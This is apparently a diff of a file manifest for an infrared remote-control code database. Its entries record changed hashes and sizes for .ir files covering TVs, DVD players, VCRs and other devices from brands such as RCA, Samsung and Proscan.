D:infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr -F:951993b07a07b63cbc7d4be924929d68:222:infrared/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir -F:535f9a7ab580cc4585bb46d18063d507:3443:infrared/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir -F:3a0ff95bfc8964bfa1421561902528f0:6769:infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir -F:aceaeb97de874341a7b62803caa2e6ae:3721:infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir +F:7ae4267d472b9dd6890ca157c060a471:208:infrared/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir +F:3640ef26d784d77ab4cc3df3b9c2cb61:3219:infrared/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir +F:06b0301df326f671fb566d6b1c95439c:6329:infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir +F:becc9965c4758cfbc3b3402b9a69baf7:3485:infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir D:infrared/_CSV-IRDB_/Protek/Unknown_Protek -F:843c4860b6a98ccf81bef354ed6b9398:1912:infrared/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir +F:01dea1ff799c73f3d9456b1dedc5e19a:1790:infrared/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir D:infrared/_CSV-IRDB_/Proton/TV -F:144e1f9b03bd6df059b5a73bc8a62dec:880:infrared/_CSV-IRDB_/Proton/TV/17,-1.ir -F:aa12a9bedd8b756e71348f623c723c97:784:infrared/_CSV-IRDB_/Proton/TV/2,-1.ir -F:b82811a46176527e5bcb52291fafd3ea:2318:infrared/_CSV-IRDB_/Proton/TV/3,-1.ir -F:f6f766b8849cac41a1c0dac90932a4fa:1674:infrared/_CSV-IRDB_/Proton/TV/4,-1.ir +F:883939d48e8d41802ec043ff8de03411:824:infrared/_CSV-IRDB_/Proton/TV/17,-1.ir +F:4c2c529cf031428ee824123c418e3956:734:infrared/_CSV-IRDB_/Proton/TV/2,-1.ir +F:67801dc6900082bcf3ee8098dc4cabee:2166:infrared/_CSV-IRDB_/Proton/TV/3,-1.ir +F:46afcdfcc586e775aa7d4a94cc5ddab9:1564:infrared/_CSV-IRDB_/Proton/TV/4,-1.ir D:infrared/_CSV-IRDB_/Provideo/Unknown_PV951 -F:21379efcdb816130c9da20cd23fd5bad:2864:infrared/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir +F:6e5b3e801e148069254e3e4097daaa54:2682:infrared/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir D:infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0 D:infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166 -F:b4e59ee9c2dd35cebc28a2044053b0ce:3746:infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir -F:8a8a4c3beffd4d82dd748bbfbe327626:4122:infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir +F:cee4474d3325f16fe7fee8a3887afbe1:3510:infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir +F:e40c1e6a26b17099436dcb9ec57461d1:3862:infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir D:infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804 -F:742998dee5a94867fcfbce7509285faa:3116:infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir +F:e72860438493a6fe4603896e930b7048:2916:infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir D:infrared/_CSV-IRDB_/Quasar/TV -F:4290ab7b3994500f0692c73e2036ad15:1854:infrared/_CSV-IRDB_/Quasar/TV/128,0.ir +F:ebd9d86eb158a44532c0e6373c3efa19:1732:infrared/_CSV-IRDB_/Quasar/TV/128,0.ir D:infrared/_CSV-IRDB_/RCA/DSS D:infrared/_CSV-IRDB_/RCA/DVD Player D:infrared/_CSV-IRDB_/RCA/Laser Disc @@ -4845,97 +4845,97 @@ D:infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP D:infrared/_CSV-IRDB_/RCA/Unknown_RCZ D:infrared/_CSV-IRDB_/RCA/Unknown_TV D:infrared/_CSV-IRDB_/RCA/VCR -F:4a5f4e6216ce260430f3a0934605e7c4:320:infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir -F:af63f0adba06f07574fecb69491bfc8c:5250:infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir -F:67b2ed0c4325d2fd8554136f65030894:5746:infrared/_CSV-IRDB_/RCA/DVD Player/5,-1.ir -F:de4851b639455d21e1027849bb728e61:3193:infrared/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir -F:bb16360e22fd805cffa2a024ca6fcb27:133:infrared/_CSV-IRDB_/RCA/TV/14,-1.ir -F:a9dbd00e5cccc47fa3e0d2622b71466c:6658:infrared/_CSV-IRDB_/RCA/TV/15,-1.ir -F:02195c6e0d4425ee6bdb74ff9a1fc8e1:133:infrared/_CSV-IRDB_/RCA/TV/7,-1.ir -F:07856685c5574043693c04d25955c08d:2922:infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir -F:ca8993d617a7f6bcc5e40e77d41d3ab8:1921:infrared/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir -F:8b62a250f3f39bc8c91214816ebe9f40:3155:infrared/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir -F:ce701f10939f02d5996dfa1f252a36f5:2289:infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir -F:7051fe37ee02284b935239b2549dc425:3720:infrared/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir -F:37996cbe59ce8237b6131cb00d280c8f:907:infrared/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir -F:16d882928bd6aabba0f9041d485af70b:2606:infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir -F:80a21a19a854e3121541b139cb7ac541:229:infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir +F:ecf8f4229cca7add5602f9e482e84383:300:infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir +F:69332a6ce025de4699f980d704757526:4918:infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir +F:e7fa0c4b4e2db965fe981a9940369876:5372:infrared/_CSV-IRDB_/RCA/DVD Player/5,-1.ir +F:21e01afef777ca28ccc66388978895d6:2987:infrared/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir +F:96b3b30b162615d0d9319fe1794ca745:125:infrared/_CSV-IRDB_/RCA/TV/14,-1.ir +F:ca096551c029803ab75539cd64207749:6230:infrared/_CSV-IRDB_/RCA/TV/15,-1.ir +F:5fb609ea7f90e9631a2d3c9ba96c9640:125:infrared/_CSV-IRDB_/RCA/TV/7,-1.ir +F:981c66845e90a655d7e717749a9dc05d:2728:infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir +F:f85abce83cee0e1b617ed2dee91791ea:1799:infrared/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir +F:b20faf40e27f1135c1171e2c5b604f7a:2955:infrared/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir +F:d670776cdd48aba8eb49e4afa9230dd0:2143:infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir +F:1a1ab580b868aef142c0b8932523c832:3484:infrared/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir +F:869eab935ca14215424a610f18b0d6b9:851:infrared/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir +F:90d8f478f1626b759b031a705cf3ac83:2436:infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir +F:934c03998db7bca8f20801cd5717e6b2:215:infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir D:infrared/_CSV-IRDB_/RSQ/Karaoke -F:8f2ec707a9f50c836a17f141c77235e9:710:infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir -F:0abeadedd01a5fd04f2fe5ea2b5505ea:2426:infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir -F:fdda6ca84250e5f3b7b0f1ede39987a7:140:infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir +F:a84d946c21fdcd032897427b57a0c6b7:666:infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir +F:c2f1b5424626b0025f351e6f83bbfe86:2268:infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir +F:5bb5108eb0facfc924d2b589c23c032a:132:infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir D:infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142 D:infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack D:infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115 -F:652a5a60953077a04f93d0d1b05b9177:3268:infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir -F:578fa9bf71bcf5ba35b70eb7fa741afa:223:infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir -F:b64b47adad006aff18ca031b99e2a3f0:3463:infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir +F:1d228584647ea1cad8faab991daf6414:3062:infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir +F:a180a549bc6db729480821e8381be477:209:infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir +F:8014099105a9707c59b18110db578124:3245:infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir D:infrared/_CSV-IRDB_/Radix/Unknown_Alpha D:infrared/_CSV-IRDB_/Radix/Unknown_DT-X1 D:infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin D:infrared/_CSV-IRDB_/Radix/Unknown_SAT D:infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf D:infrared/_CSV-IRDB_/Radix/Unknown_radix -F:502da2c1265dafd8ce782bd2a5fd9f3d:1812:infrared/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir -F:a655a3ad5645a7388b3c18acd7e1342d:3162:infrared/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir -F:a7d75b249421400c87eb6e94b891730e:3623:infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir -F:0e3074a3e18d698cf355ff8cf59ee937:2173:infrared/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir -F:6617cdaeba55c1838a82a83a33322ee2:3056:infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir -F:fdce2151c6a7194e4307361a5bea4388:2388:infrared/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir +F:b9ed8978f1f3a1a0c91251d7ae7cd7e6:1696:infrared/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir +F:ed258c902ecb747d9bc6742f09618f7a:2962:infrared/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir +F:6a7d27867ad598d0c77694e702623066:3393:infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir +F:ba263482844580ef899eb48a887a8b19:2033:infrared/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir +F:ab3ac7926f3e8ddab69a148f9a9b3ec8:2862:infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir +F:f59a400491cc966288b5feec289b3350:2236:infrared/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir D:infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx -F:1c25ddc1155cf7576048be2d2a1316bb:4140:infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir +F:76261dd053e4e35690d6260ec511a8c8:3880:infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir D:infrared/_CSV-IRDB_/Ranex/Unknown_RGB -F:fa71d30fecdf396fbaad02ac3557ec12:2579:infrared/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir +F:e8bbf70bc5e97dcbf9b37545d7fe26e2:2409:infrared/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir D:infrared/_CSV-IRDB_/Re.x/Unknown_SDVD -F:50e61fde4f02dc3720f42ff91a7321e5:4829:infrared/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir +F:bd606151ca7035db285440d8b978451e:4521:infrared/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir D:infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304 -F:a47c97761cc01746622faf9a4ba5b5c9:4082:infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir +F:cce7838e2ab1511c7919dff96be03430:3822:infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir D:infrared/_CSV-IRDB_/Rega/Receiver -F:3d74b4e630878a0a2cdbe14746131fd2:2137:infrared/_CSV-IRDB_/Rega/Receiver/110,-1.ir -F:989dfa3d808faebb809b4986cc5da09f:407:infrared/_CSV-IRDB_/Rega/Receiver/135,124.ir -F:4905a4153991b1f4fd26076ced12847a:1056:infrared/_CSV-IRDB_/Rega/Receiver/16,-1.ir +F:34e7c953bc3b38b7c956cae403efe8ba:1997:infrared/_CSV-IRDB_/Rega/Receiver/110,-1.ir +F:c3933b57d33589e0045c6ae8d11e24e1:381:infrared/_CSV-IRDB_/Rega/Receiver/135,124.ir +F:160a655bcaf16ee2a54fbfbdb758c969:988:infrared/_CSV-IRDB_/Rega/Receiver/16,-1.ir D:infrared/_CSV-IRDB_/Replay Networks/Digital Recorder -F:768173435f962612bca032a2bf341ce8:5775:infrared/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir +F:f7cabc8d75801857b1e0e8aab05c715b:5413:infrared/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir D:infrared/_CSV-IRDB_/ReplayTV/Unknown_5000 -F:6745fb52045bfe64093c7c3d4f64cba5:3462:infrared/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir +F:2f09f082d31b24dff3b9c533c57a8c57:3244:infrared/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir D:infrared/_CSV-IRDB_/Revo/Unknown_Blik -F:0694bb8fa30ec719b96090f0cfc12d3a:2586:infrared/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir +F:eece9f1f944d2f6935eeb72757b88c57:2422:infrared/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir D:infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200 -F:326e63c0729a0250be5972328693b8b2:4275:infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir +F:d361364054eb106d19364ae21eb96c4f:4003:infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir D:infrared/_CSV-IRDB_/Rio/Unknown_Audio -F:d89f449d1990095018f3ef1514a731b3:2591:infrared/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir +F:6d21798d08cf4c5ada22c2e3a07dcd3e:2427:infrared/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir D:infrared/_CSV-IRDB_/Roku/Unknown_Netflix D:infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge -F:b4745857bdb026f9df50c2320681bb1b:896:infrared/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir -F:148b5f398db4ee562d9757cb2cdf8d7a:2600:infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir +F:407e66e95c0d9b276c66aae3d1c53081:840:infrared/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir +F:db2779d78214e730df802a92e139af84:2436:infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir D:infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A D:infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1 -F:78f12e9b3bca4c83fa1b3bd42cb83da6:4673:infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir -F:a2d7255e50fbd727b372ae24d47b2b8e:2500:infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir +F:2b2b06af06b6bc7093539fb7a8303df2:4377:infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir +F:c0151fd6afb7328474772edd24a0e45e:2342:infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir D:infrared/_CSV-IRDB_/Rotel/CD Player D:infrared/_CSV-IRDB_/Rotel/Tuner D:infrared/_CSV-IRDB_/Rotel/Unknown_RR-925 -F:0af980f1ea02a8a384defdd76f505b96:492:infrared/_CSV-IRDB_/Rotel/CD Player/20,-1.ir -F:7ff9f07988a244a7450f21b8728364f5:1667:infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir -F:76f106ccb8115d36e16e46a4fab1a6c5:2392:infrared/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir +F:eaf3f8cc95900fad11d5a0cfdf35ca02:460:infrared/_CSV-IRDB_/Rotel/CD Player/20,-1.ir +F:d3f8683bb7dbf38402e548a699430eb8:1557:infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir +F:1c3c9482c3968b99775a9df1e94a5185:2240:infrared/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir D:infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104 -F:c9c47080bf4a33399301aef5b234e050:4287:infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir +F:16e04d42c83a88cd6a1b01b5e6994ede:4015:infrared/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir D:infrared/_CSV-IRDB_/Runco/Line Doubler D:infrared/_CSV-IRDB_/Runco/Video Controller D:infrared/_CSV-IRDB_/Runco/Video Projector -F:59fdd1034db47c2561c403882452ef84:901:infrared/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir -F:05012eb0db23610ae3c9caa10e597528:1563:infrared/_CSV-IRDB_/Runco/Video Controller/1,-1.ir -F:04c0867eab9bba079f64c4766bfe8eb8:2910:infrared/_CSV-IRDB_/Runco/Video Projector/1,-1.ir -F:ed319c87d2eb988b9c3197a0083451c7:3670:infrared/_CSV-IRDB_/Runco/Video Projector/24,247.ir -F:da8e75d64d9d941fb3ba1e65b5c454f0:2065:infrared/_CSV-IRDB_/Runco/Video Projector/5,1.ir +F:3e118622366adc383860819aa5289181:845:infrared/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir +F:605dea93b95aa65e5dd56a06abcace74:1465:infrared/_CSV-IRDB_/Runco/Video Controller/1,-1.ir +F:ef96e37e60e4ff69890c319434ed8bc7:2728:infrared/_CSV-IRDB_/Runco/Video Projector/1,-1.ir +F:853f6552f27d0576a83bac915a659a19:3434:infrared/_CSV-IRDB_/Runco/Video Projector/24,247.ir +F:5e724dbcd87b03b0805a4901959db3f6:1931:infrared/_CSV-IRDB_/Runco/Video Projector/5,1.ir D:infrared/_CSV-IRDB_/Russound/Music Server -F:c54f09cc1582ae893161f84bc370b7a2:2273:infrared/_CSV-IRDB_/Russound/Music Server/10,-1.ir +F:424058516531579d022834db45af5b52:2127:infrared/_CSV-IRDB_/Russound/Music Server/10,-1.ir D:infrared/_CSV-IRDB_/SAB/Unknown_Explorer -F:2dc3329627c8bd07794fabce54d88d25:2254:infrared/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir +F:b684dcd447219310731412854d5df1b7:2108:infrared/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir D:infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460 D:infrared/_CSV-IRDB_/SABA/Unknown_TC3003 -F:ab671bbdac71ae805d8cc02322859292:3308:infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir -F:ff5279934ab199a39d5344bc455c047f:2097:infrared/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir +F:3af7e5bad2168c48f041e958369ef8d9:3096:infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir +F:bf9be29c17a1557887d57dfbf2383c00:1963:infrared/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir D:infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A D:infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430 D:infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300 @@ -4944,38 +4944,38 @@ D:infrared/_CSV-IRDB_/SEG/Unknown_SR-201 D:infrared/_CSV-IRDB_/SEG/Unknown_SR800 D:infrared/_CSV-IRDB_/SEG/Unknown_VCR D:infrared/_CSV-IRDB_/SEG/Unknown_VCR2000 -F:6a65cac4518cba5751dc383bd4839ec0:4875:infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir -F:4de5f030da5f05a71784e9a98c500936:4116:infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir -F:98339709e3664886e80cc6afce3116cc:3391:infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir -F:7a151f914e2a7ca7fa2e07187d1149f3:1988:infrared/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir -F:6581c6b1b09942885f33166a6724dcf3:2196:infrared/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir -F:c613f99c709441e19236bd7385164373:1912:infrared/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir -F:1058cb5865260ba7c1b0228ae1ddd430:3528:infrared/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir -F:9753cd35b52ec2338ceb3e6e69499588:2403:infrared/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir +F:c6fbd8bc1d500cbb566596cc6e2c63e8:4567:infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir +F:9fda3146036769c9e6b54b9f5c18d212:3856:infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir +F:33a59b97175aa42b4574287212afb9c8:3167:infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir +F:c8ad61121d30d7d97f9951821ccdc126:1860:infrared/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir +F:afb3b6a9f00a6e3636ab9f4871272255:2056:infrared/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir +F:89fc1dfea03ec526a4daa7ae30571d5e:1790:infrared/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir +F:9650d2d5ce157aab9e751e13cb78ccdc:3304:infrared/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir +F:2c7b0d06708dc50dc3f7f98947bfad1d:2251:infrared/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir D:infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4 D:infrared/_CSV-IRDB_/ST/Unknown_HMP -F:57c91de1173951dd53799a4afd8dd4c5:3764:infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir -F:73d0efb384ac6839419bf78c7c912f12:3856:infrared/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir +F:3a9e0ec49041945e4fdbb93bdad8375f:3528:infrared/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir +F:1eee4a396c8059acb56d829a5325c0a1:3614:infrared/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir D:infrared/_CSV-IRDB_/STRONG/8209_DVB-T2 D:infrared/_CSV-IRDB_/STRONG/8821_DVB-T D:infrared/_CSV-IRDB_/STRONG/Unknown_STRONG -F:f18bf96f4f203f3795f774c45ae004e5:3828:infrared/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir -F:c2d368cb2eff4eb967a97f0d0775671c:4453:infrared/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir -F:8ba8af1d70142c95f961cd8f0716ba1c:3157:infrared/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir +F:ba31f3ab5ddfa41db8a0dfd3119b9f89:3574:infrared/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir +F:3aadb8c2184702398153d3dfd2377d1d:4157:infrared/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir +F:0ad208bf0103b5d67b5984e8d0282c98:2957:infrared/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir D:infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168 -F:09f2e8ab9ee12b0fe779becf85bd4768:4538:infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir +F:2c4909b4416793e773815c7188f22f0d:4248:infrared/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir D:infrared/_CSV-IRDB_/SVEN/Unknown_HT-475 D:infrared/_CSV-IRDB_/SVEN/Unknown_IHOO -F:99c28db14d35f584149c625581355ede:1251:infrared/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir -F:bf496496faf11550ac5b8c103b0fd030:1253:infrared/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir +F:9c320b08a6922fe01bb4f759c67416be:1171:infrared/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir +F:0da0828377636d61b4cf9cb4ae38ee75:1173:infrared/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir D:infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver D:infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C D:infrared/_CSV-IRDB_/Sagem/Unknown_Sagem -F:0d0990265b77050cceddb7f6f2c59e4a:3140:infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir -F:63bf352fbace7ee89bcaceead9aa5e8e:3049:infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir -F:8d4250603230e9608af937e5bd24986a:3608:infrared/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir +F:b210fae776ca9a6e6c0c0d0224d3a111:2940:infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir +F:bd7eeba95bfbd538d643390eba4ada59:2855:infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir +F:1819d647535aaabbab95c1c4ba7e9b9b:3378:infrared/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir D:infrared/_CSV-IRDB_/Salora/Unknown_SV6700 -F:4bcc2c7f4f6d63f4f114ac5446a9489a:2572:infrared/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir +F:9e3ceaf3d0bada48e789c691a23e3bcf:2408:infrared/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir D:infrared/_CSV-IRDB_/Samsung/Air Conditioner D:infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV D:infrared/_CSV-IRDB_/Samsung/TV @@ -5041,80 +5041,80 @@ D:infrared/_CSV-IRDB_/Samsung/Unknown_hifi D:infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T D:infrared/_CSV-IRDB_/Samsung/Unknown_test D:infrared/_CSV-IRDB_/Samsung/VCR -F:263f986fd2b7641c77cdd437d07dd4b5:979:infrared/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir -F:ae62041f61be2f8dd6d2ead24189a8f6:1403:infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir -F:87c91b09764a3a2b56a90d654d543b65:3175:infrared/_CSV-IRDB_/Samsung/TV/7,7.ir -F:aa73d9f4dd97cc0fc2c27eb9ac11ffac:3533:infrared/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir -F:3d9277dfe87b2ce5e483337d74bcc4e8:3469:infrared/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir -F:2156686b7ee40f3c1fcb62b1999854b5:3633:infrared/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir -F:dd3bcf4ead16d3e357a41ddf597330d9:3728:infrared/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir -F:b0bb308d20d9d1138179399b66d4f18c:2485:infrared/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir -F:a16f5e5078f02d4227e5467f1f6ada0c:4013:infrared/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir -F:a20e617d6c8d59af65bd6d21c04cfcbb:4012:infrared/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir -F:50d8cfbbb5059bb3f4bf88f3df8a2c47:2307:infrared/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir -F:8c639eaec55e23e65316e474bb543a1a:2771:infrared/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir -F:ddb3f714c5fedb58844c2dcd11357a49:2280:infrared/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir -F:c492a2dc7df324be130d6d21c917bc03:2756:infrared/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir -F:924c30608ec28bf4b212a5fed8d95b3c:1184:infrared/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir -F:5544791145c27ca7664debf56bd7719d:2307:infrared/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir -F:246d83e590001827adfbcb3f47640ca6:1122:infrared/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir -F:d8ba3733b130c8f9d3c0dd243a6e755d:1762:infrared/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir -F:04b130b5caa84b1cb1c45d2d16f89d00:2119:infrared/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir -F:4f3ab4a16af353022a5b3b28edd5db68:3055:infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir 